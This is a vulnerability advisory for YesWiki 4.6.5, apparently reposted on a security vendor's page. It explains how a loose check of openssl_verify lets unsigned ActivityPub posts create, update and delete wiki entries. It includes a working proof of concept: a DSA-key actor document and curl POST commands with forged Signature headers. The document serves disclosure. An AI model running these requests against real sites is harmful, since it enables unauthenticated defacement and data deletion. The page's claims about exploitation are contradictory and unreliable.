Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-mv28-wj57-f57g
No affected components available
Summary
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
| ------ | ------------------------------------------------ | --------- |
| 1 | signature is valid | false |
| 0 | signature is invalid | true ✓ |
| -1 | the verify call itself failed (internal error) | false ❌ |
| false| input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch — see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
}
}
The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
-
Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:
{ "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } } -
Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: <RFC1123 date> Digest: SHA-256=<base64(sha256(body))> Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw==" {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"<actor URL>", "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}} -
YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped. -
Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum. -
processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: false
Verify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' — created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Update",
"id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
"content": "this row was modified via the SAME bypass",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$UPDATE_ACT" \
-w ' HTTP %{http_code}\n'
Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard